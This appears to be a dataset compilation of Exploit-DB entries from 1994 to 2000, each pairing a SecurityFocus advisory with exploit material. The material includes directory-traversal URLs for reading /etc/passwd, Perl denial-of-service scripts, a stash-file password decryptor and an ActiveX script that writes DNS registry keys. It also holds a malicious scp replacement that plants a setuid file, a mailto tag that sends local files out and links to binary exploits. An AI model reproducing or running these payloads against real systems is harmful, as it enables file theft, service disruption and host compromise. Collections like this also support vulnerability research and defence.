QLWD/code_shield huggingface dataset:
标题: Bytes interactive Web shopper 1.0/2.0 - Directory Traversal EDB-ID: 20280 CVE: 2000-0922 类型: REMOTE 平台: CGI 发布日期: 2000-10-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/1776/info

Bytes Interactive Web Shopper is a XML based shopping cart application. 

The "newpage" variable does not properly check for insecure relative paths such as the double dot "..". 

The following URL request:

http://target/cgi-bin/shopper.cgi?newpage=../../../path/filename.ext

will yield the file specified.

Successful exploitation could lead to a remote intruder gaining read access to any known file. URL: https://www.exploit-db.com/exploits/20280
标题: phpix 1.0 - Directory Traversal EDB-ID: 20278 CVE: 2000-0919 类型: WEBAPPS 平台: PHP 发布日期: 2000-10-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/1773/info

PHPix is a web-based photo-album system written in PHP. It is vulnerable to an attack that allows a malicious remote user to view arbitrary files on the target webserver with the privileges of the webserver. The problem is that "../" character sequences can be supplied by the user in an http variable that is used to reference a file on the webservers filesystem. As a result, the attacker can construct a path relative to the current working directory of the webserver using ".."'s and then the target filename/path to read any readable (to the uid of the httpd process) file on the filesystem. The information gained may make it easier to compromise the system in other ways.

Example:

http://target.com/Album/?mode=album&album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&dispsize=640&start=0

The above line if given will output all the directories that are nested within /etc
directory. Other more sinister content can be revealed from there. URL: https://www.exploit-db.com/exploits/20278
标题: Evolvable Shambala Server 4.5 - Denial of Service EDB-ID: 20282 CVE: 2000-0953 类型: DOS 平台: WINDOWS 发布日期: 2000-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/1778/info

Shambala Server is a FTP, Web, and Chat server targeted for the Small Office/Home Office user. 

The FTP server component does not properly handle certain incoming connection and disconnection requests. Successful exploitation could lead to disabling the Shambala Server service and restarting is required in order to regain normal functionality.

#!/usr/bin/perl
#
# This tool (tool not exploit!) crashes shambale server 4.5
# This is a stripped version of Guido Bakkers exploit code (bedankt)
#
use Getopt::Std;
use IO::Socket;
getopts('s:', \%args);
&usage if !defined($args{s});
$serv = $args{s};
$EOL="\015\012";
$remote = IO::Socket::INET->new(
                   Proto       => "tcp",
                   PeerAddr    => $args{s},
                   PeerPort    => "ftp(21)",
               ) || die("Unable to connect to ftp port at $args{s}\n");
$remote->autoflush(1);
print "Done...\n";
exit; # remove this and the server will *NOT* crash
sub usage {die("\n$0 -s ipaddress\n\n");} URL: https://www.exploit-db.com/exploits/20282
标题: Apache 1.2.5/1.3.1 / UnityMail 2.0 - MIME Header Denial of Service EDB-ID: 20272 CVE: 1999-0926 1999-0925 类型: DOS 平台: WINDOWS 发布日期: 1998-08-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1760/info

Apache Web Server and MessageMedia UnityMail are susceptible to a denial of service attack if a significant amount of 8000 byte MIME headers are sent. Both will crash and restart of the application is required in order to regain normal functionality. Other web servers may be also be vulnerable to this attack.

#! /bin/perl

# mimeflood.pl - 02/08/1998 - L.Facq (facq@u-bordeaux.fr)

# Web servers / possible DOS Attack / "mime header flooding"
#
#       looking at the apache 1.2.5 source code i found
#       that there was no limit on how many mime headers could
#       be included in a client request. The only limits
#       are : 8192 byte for each header, 300 sec. on reading headers.
#
#       => by sending a crazy amount of 8000 bytes headers, it's possible
#       to consume a lot of memory (and of course CPU). The point
#       is that httpd daemons grow and STAY at this big size (or die
#       if you send too much)
#
#       -> may be a limit on mime header number could be added.
#
#       -> may be other web server could be vulnerable to this problem.
#
#       - i tried on an apache 1.2.5 -> it works
#       - i didnt installed 1.3.1 but looking at the source code,
#       i think the problem is there too.
#
##################################################
#From Roy T. Fielding / Sep 2 '98 at 12:57 pm -420
#
#[...]
#>
#>       -> may be a limit on mime header number could be added.
#
#Such limits have already been added to 1.3.2-dev.
#
#.....Roy

use Socket;

# Usage : $0 host [port [max] ]
$max= 0;
if ($ARGV[2])
{
    $max= $ARGV[2];
}

$proto = getprotobyname('tcp');
socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);
$port = 80;
if ($ARGV[1])
{
    $port= $ARGV[1];
}
$host = $ARGV[0];
$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);
send Socket_Handle,"GET / HTTP/1.0\n",0;
$val= ('z'x8000)."\n";
$n= 1;
$|= 1;
while (Socket_Handle)
{
    send Socket_Handle,"Stupidheader$n: ",0;
    send Socket_Handle,$val,0;
    $n++;
    if (!($n % 100))
    {
        print "$n\n";
    }

    if ($max && ($n > $max))
    {
        last;
    }
}
print "Done: $n\n";
send Socket_Handle,"\n",0;

while (<Socket_Handle>)
{
    print $_;
} URL: https://www.exploit-db.com/exploits/20272
标题: Microsoft IIS 5.0 - Indexed Directory Disclosure EDB-ID: 20269 CVE: 2000-0951 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/1756/info

If Index Server is enabled in Microsoft Internet Information Server 5.0, it is possible for a remote user to view the entire root directory structure and all sub-directories due to a flaw in the Web Distributed Authoring and Versioning (WebDAV) search implementation. Hidden directories, include files (*.inc), or other documents that would not normally be accessible through the regular website interface can be exposed through this exploit.

Successful exploitation could lead to the discovery of certain files that may contain sensitive information such as usernames and passwords.

The Index Server is disabled by default in IIS 5.0 and only directories that have the 'Index' property set are affected by this vulnerability. 

SEARCH / HTTP/1.1
Host: target
Content-Type: text/xml
Content-Length: 133

<?xml version="1.0"?>
<g:searchrequest xmlns:g="DAV:">
<g:sql>
Select "DAV:displayname" from scope()
</g:sql>
</g:searchrequest> URL: https://www.exploit-db.com/exploits/20269
标题: extropia webstore 1.0/2.0 - Directory Traversal EDB-ID: 20279 CVE: 2000-1005 类型: REMOTE 平台: CGI 发布日期: 2000-10-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/1774/info

Extropia WebStore is an e-commerce shopping cart application consisting of routines for error handling, order processing, encrypted mailing, frames, Javascript and VBscript.

The routine web_store.cgi does not properly handle the $file_extension variable if null characters are used.

For example if the following URL was requested, the file in question would not be delivered to the user:

http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename.ext

However, by using the escaped character "%00", the requested file would be accessed successfully:

http://target/cgi-bin/Web_Store/web_store.cgi?page=../../../path/filename%00ext

Successful exploitation could lead to a remote intruder gaining read access to any known file. URL: https://www.exploit-db.com/exploits/20279
标题: IBM Websphere 2.0/3.0 - ikeyman Weak Encrypted Password EDB-ID: 20274 CVE: 1999-0944 类型: LOCAL 平台: MULTIPLE 发布日期: 1999-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1763/info


IBM WebSphere ships with a tool called 'ikeyman' that encrypts server certificates/key pairs when the IBM HTTP Server and SSL connections are enabled. Ikeyman stores the password in a stash file which can be easily decrypted through the use of a freely available script

#!/usr/bin/perl -w
#
# unstash.pl - "decrypt" IBM HTTP server stash files. No, really. They
*are* this pathetic.
#
# sploit (BoByRiTe) 1999, Major Malfunction, code by Ben Laurie, cos I
dudn't dud perly thing.

use strict;

die "Usage: $0 <stash file>\n" if $#ARGV != 0;

my $file=$ARGV[0];
open(F,$file) || die "Can't open $file: $!";

my $stash;
read F,$stash,1024;

my @unstash=map { $_^0xf5 } unpack("C*",$stash);

foreach my $c (@unstash) {
    last if $c eq 0;
    printf "%c",$c;
}
printf "\n"; URL: https://www.exploit-db.com/exploits/20274
标题: Armada Design Master Index 1.0 - Directory Traversal EDB-ID: 20277 CVE: 2000-0924 类型: REMOTE 平台: CGI 发布日期: 2000-07-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/1772/info

Master Index is a commercially supported search engine. Certain versions of this software ship with a path traversal vulnerability. This is to say that a remote user may 'back out' (.../) of the web root directory and view/download any file which the user who is running Master Index has permission to read.

Example: 

http://www.target.com/cgi-bin/search/search.cgi?keys=*&prc=any&catigory=../../../../../.. ../../etc URL: https://www.exploit-db.com/exploits/20277
标题: Moreover CGI script - File Disclosure EDB-ID: 20273 CVE: 2000-0906 类型: REMOTE 平台: CGI 发布日期: 2000-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1762/info


The 'cached_feed' CGI script supplied by newsfeed vendor Moreover.com contains a file-disclosure vulnerability. The script's 'obtain_file' function, designed to return the contents of a specified file for display in the browser, fails to adequately filter ".." character sequences in user-supplied input. As a result, a carefully formed URL that is submitted to the script can result in the disclosure of files (readable by HTTP user) outside of the CGI script's "allowed" area.

Version 1.0 of the product is affected. The vendor repaired the script and released version 2.0 before this vulnerability was published. 

http://www.example.com/cgi-bin/cached_feed.cgi?../../../.+/etc/passwd URL: https://www.exploit-db.com/exploits/20273
标题: HP-UX 10/11/ IRIX 3/4/5/6 / OpenSolaris build snv / Solaris 8/9/10 / SunOS 4.1 - 'rpc.ypupdated' Command Execution (2) EDB-ID: 20259 CVE: 1999-0208 类型: REMOTE 平台: MULTIPLE 发布日期: 1994-02-07 漏洞利用脚本: HP-UX 10.x/11.x,IRIX 3.x/4.x/5.x/6.x,OpenSolaris build snv,Solaris 8/9/10,SunOS 4.1.x RPC.YPUpdated Command Execution (2)
 
source: https://www.securityfocus.com/bid/1749/info
 
The 'rpc.ypupdated' deamon is part of the Network Information Service (NIS) or Yellow Pages (YP). It allows clients to update NIS maps. A vulnerability in 'rpc.ypupdated' allows a malicious user to execute commands as root.
 
After receiving a request to update the Yello Pages maps, 'ypupdated' executes a copy of the bource shell to run the 'make' command to recompute the maps whether the request for changes was sucessful or not. Because of bad input validation while executing 'make', an attacker can pass shell metacharacters to the shell and can execute commands.
 
This is issue is tracked by Sun BugIDs 1230027 and 1232146. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20259.tar.gz URL: https://www.exploit-db.com/exploits/20259
标题: IRIX 5.2/6.0 - Permissions File Manipulation EDB-ID: 20263 CVE: 1999-1243 类型: LOCAL 平台: IRIX 发布日期: 1995-03-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1751/info

The IRIX's /usr/lib/desktop/permissions tool is a suid and sgid root applications normally used by users to modify permissions of their files and files they are privileged for. A vulnerability in the permissions tool allows local malicious users to modify the permissions of any file on the system.

This is SGI SCR # 265071.

If you attempt to change the permissions of a file you don't have privileges for the permissions tool will prompt you for the name and password of a privileged user. But the permission changes are made to the target file before the tool prompts you for the password if you double click "Apply". 

Run /usr/lib/desktop/permissions aganist the file which permissions you want to modify. Change the permissions. Click on the 'Apply' button twice before the dialog box appears asking you for a username and password. Click the 'Cancel' button. URL: https://www.exploit-db.com/exploits/20263
标题: Microsoft Virtual Machine 2000/3100/3200/3300 Series - 'com.ms.activeX.ActiveXComponent' Arbitrary Program Execution EDB-ID: 20266 CVE: 2000-1061 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/1754/info

If a malicious website operator were to embed a specially crafted java object into a HTML document, it would be possible to execute arbitrary programs on a target host viewing the webpage through either Microsoft Internet Explorer or Outlook. The com.ms.activeX.ActiveXComponent java object inserted into an <APPLET> tag will allow the creation and scripting of arbitrary ActiveX objects even if they may present security hazards.

Even if Outlook has had the 'security update' applied, it is still possible to circumvent the disabling of active script execution through the use of java.

Execution of arbitrary programs could make it possible for the malicious website operator to gain rights equivalent to those of the current user. 

<script>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi3(){
try{
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\SearchList","roots-servers.net");
}
catch(e){}
}
catch(e){}
}
setTimeout("yuzi3()",1000);
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
function yuzi2(){
try{
a2=document.applets[0];a2.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a2.createInstance();Shl =
a2.GetObject();a2.setCLSID("{0D43FE01-F093-11CF-89400-0A0C9054228}");
try{

Shl.RegWrite("HKLM\\System\\CurrentControlSet\\Services\\VxD\\MSTCP\\EnableDns","1");
}
catch(e){}
}
catch(e){}
}setTimeout("yuzi2()",1000);
</script> URL: https://www.exploit-db.com/exploits/20266
标题: OpenSSH 1.2 - '.scp' File Create/Overwrite EDB-ID: 20253 CVE: 2000-0992 类型: REMOTE 平台: LINUX 发布日期: 2000-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/1742/info

A vulnerability exists in the 1.2.x releases of scp which, if properly exploited using a modified scp binary on the server end, can permit the remote server to spoof local pathnames and overwrite files belonging to the local user.

For example, following the command

scp user@remotehost:/somefile /home/user/newfile

the modified server on the remote machine maliciously sends the filename as ../../etc/passwd

the local user's scp program will then write the data to

/home/user/../../etc/passwd

(which is the same as /etc/passwd)

Note that the target file can only be overwritten if the local user has write access to it. As a result, it remains inadvisable to run scp as root.

This vulnerability applies to 1.2.x versions of ssh on the remote machine, irrespective of the version running as the client.

ssh-2.x on the remote employs a different protocol and as a result is reportedly not vulnerable to this bug.

As a proof of concept, I created trivial scp replacement (put it on remote machine in the place of original scp binary - usually in /usr/local/bin).

It will try to exploit any file transfer, creating setuid /tmp/ScpIsBuggy file on client system:

#!/bin/bash

echo "D0755 0 ../../../../../../tmp/nope"
echo "D0755 0 ../../../../../../tmp"
echo "C4755 200 ScpIsBuggy"
dd if=/dev/urandom of=/dev/stdout bs=200 count=1 2>/dev/null
dd if=/dev/zero of=/dev/stdout bs=1 count=2 2>/dev/null URL: https://www.exploit-db.com/exploits/20253
标题: David Harris Pegasus Mail 3.12 - File Forwarding EDB-ID: 20249 CVE: 2000-0930 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1738/info

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:email@address.com -F c:\path\file.ext"> URL: https://www.exploit-db.com/exploits/20249
标题: Smartwin Technology CyberOffice Shopping Cart 2.0 - Price Modification EDB-ID: 20247 CVE: 2000-0926 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1733/info

Smartwin Technology CyberOffice Shopping Cart is a shopping cart application for e-commerce enabled websites running Windows NT 4.0 or 2000.

The order form CyberOffice Shopping Cart utilizes can be easily modified by downloading the form locally and then resubmitting it to the target server containing the new values. Unit item prices can be modified to any arbitrary value. 

<input type="hidden" name="Item" value="Specified Value"> URL: https://www.exploit-db.com/exploits/20247
标题: SmartWin CyberOffice Shopping Cart 2.0 - Client Information Disclosure EDB-ID: 20248 CVE: 2000-0925 类型: REMOTE 平台: WINDOWS 发布日期: 2000-10-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/1734/info

Smartwin Technology CyberOffice Shopping Cart is a shopping cart application for e-commerce enabled websites running Windows NT 4.0 or 2000.

It is possible for a remote user to gain read access to the _private directory on a website running CyberOffice Shopping Cart 2.0. By default the _private directory has world readable permissions. The Microsoft Access Database which contains confidential client details (such as customer orders and unencrypted credit card information) is stored in the _private directory and is thus accessible to attackers. An attacker need only request "http://target/_private/shopping_cart.mdb" with a browser to access it. 

http://target/_private/shopping_cart.mdb URL: https://www.exploit-db.com/exploits/20248
标题: Alabanza Control Panel 3.0 - Domain Modification EDB-ID: 20238 CVE: 2000-1023 类型: REMOTE 平台: CGI 发布日期: 2000-09-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1710/info

Alabanza is a web hosting provider that offers automated solutions for virtual domain hosting. A vulnerability exists in the software implemented for automated domain administration.

Modification, deletion, and addition of domains and MX and CNAME records associated with Alabanza hosts and resellers does not require valid authentication and can be conducted by any remote user.

Access to the Control Panel which handles administrative controls for domains associated with Alabanza does not require a username and password if specially crafted URLs are requested (see the exploit tab for further details).

To add a domain to the name server (using example.com as an example and 'target' being an Alabanza host/reseller domain):

http://target/cp/rac/nsManager.cgi?Domain=<example.com>&IP=<IP address>&OP=add&Language=english&Submit=Confirm

Accessing the following URL:

http://www.example.com/cp/rac/nsManager.cgi?Domain=HAHAHA.org&IP=127.0.0.1&OP=add&Language=english&Submit=Confirm

will display a page stating:

"Name Server Manager
Domain example.com will be added within 1 hour!
Your domain example.com <IP address> will be setup within 1 hour!

Please click here to go back."

From here modification, deletion, and addition of domains can be made, as well as changing the default MX or CNAME records. URL: https://www.exploit-db.com/exploits/20238
标题: Unixware 7.0 - SCOhelp HTTP Server Format String EDB-ID: 20242 CVE: 2000-1014 类型: REMOTE 平台: CGI 发布日期: 2000-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1717/info

SCO Unixware 7 default installation includes scohelp, an http server that listens on port 457/tcp and allows access to manual pages and other documentation files. The search CGI script provided for that purpose has a vulnerability that could allow any remote attacker to execute arbitrary code on the vulnerable machine with privileges of user "nobody". This poses a threat that could result in the remote compromise of the vulnerable host and provide a staging point from where an attacker could escalate privileges. 

There is a user supplied format string bug in the vtopic CGI script that could be abused to execute arbitrary code. By sending a request with the following URI:

http://target:457/search97cgi/vtopic?Action= FilterSearch&filter=&queryText=%25x

The server will elicit the following response:
--
Internal error: STR_sprintf: Invalid format (Error E1-0142 (Query
Builder): Invalid character '%' (0x25))

Result
Search failed: -40

Result
Error E1-0142 (Query Builder): Invalid character '

Result
Error E1-0130 (Query Builder): Syntax error in query string near
character 1

Result
Error E1-0133 (Query Builder): Error parsing query: 81888e0

Result
VdkSearchNew failed, error -40

Result
Request failed for REQUEST_METHOD=, QUERY_STRING=

Component
Component (vsearch) failed in processing request, -2

Action
Action (FilterSearch) failed while processing request in component
(vsearch), -2

Service Manager
Action (FilterSearch) failed in processing request, -2
S97IS Service manager failed to process request
--

Note that the line:
Error E1-0133 (Query Builder): Error parsing query: 81888e0

This shows that the server is interpreting the %x argument passed in the URI as the "queryText" value. Supplying a carefully built value for the queryText argument an attacker can change the program flow and execute arbitrary code. URL: https://www.exploit-db.com/exploits/20242
标题: Microsoft Windows Media Player 7 - Embedded OCX Control EDB-ID: 20240 CVE: 2000-0929 类型: REMOTE 平台: WINDOWS 发布日期: 2000-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1714/info

Due to a flaw in the method Microsoft Windows Media Player 7 handles OCX controls (ActiveX containers) in embedded in RTF email messages, it is possible to crash RTF-enabled email clients such as Microsoft Outlook and Outlook Express. While this vulnerability lies in the OCX control implementation in Windows Media Player 7, it only affects RTF-enabled email clients.

If a user of Outlook or Outlook Express were to receive an RTF email containing an embedded OCX control associated with Windows Media Player 7, the client would fail when the message was closed. Restarting the application would be required in order to regain normal functionality. In addition, deleting the offending email would resume normal operations of the email client. The functionality of Windows Media Player 7 would not be affected in any way. 

Binary - 20240-1.exe
Source - 20240-2.zip 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20240-1.exe

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20240-2.zip URL: https://www.exploit-db.com/exploits/20240
标题: Palm OS 3.5.2 - Weak Encryption EDB-ID: 20241 CVE: 2000-1008 类型: LOCAL 平台: PALM_OS 发布日期: 2000-09-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1715/info

Palm OS is shipped with a security feature which enables a user to set password protection on various applications.The HotSync process allows a user to connect to a machine on the network through their Palm device. This process involves the device to send the encoded password to the HotSync Manager or HotSync Network Server on the network. The purpose of this transmission is to verify the password protection is still enabled when applications are being accessed from the network.

The encoded password block is stored in the 'Unsaved Preferences' database on the Palm device. Due to a weak encryption scheme, it is possible to decrypt the password block into the actual ASCII format with the use of an exploit tool. Physical access to the device is required in order to exploit this vulnerability.

Successful exploitation yields unauthorized access to private data. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20241-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20241-2.zip URL: https://www.exploit-db.com/exploits/20241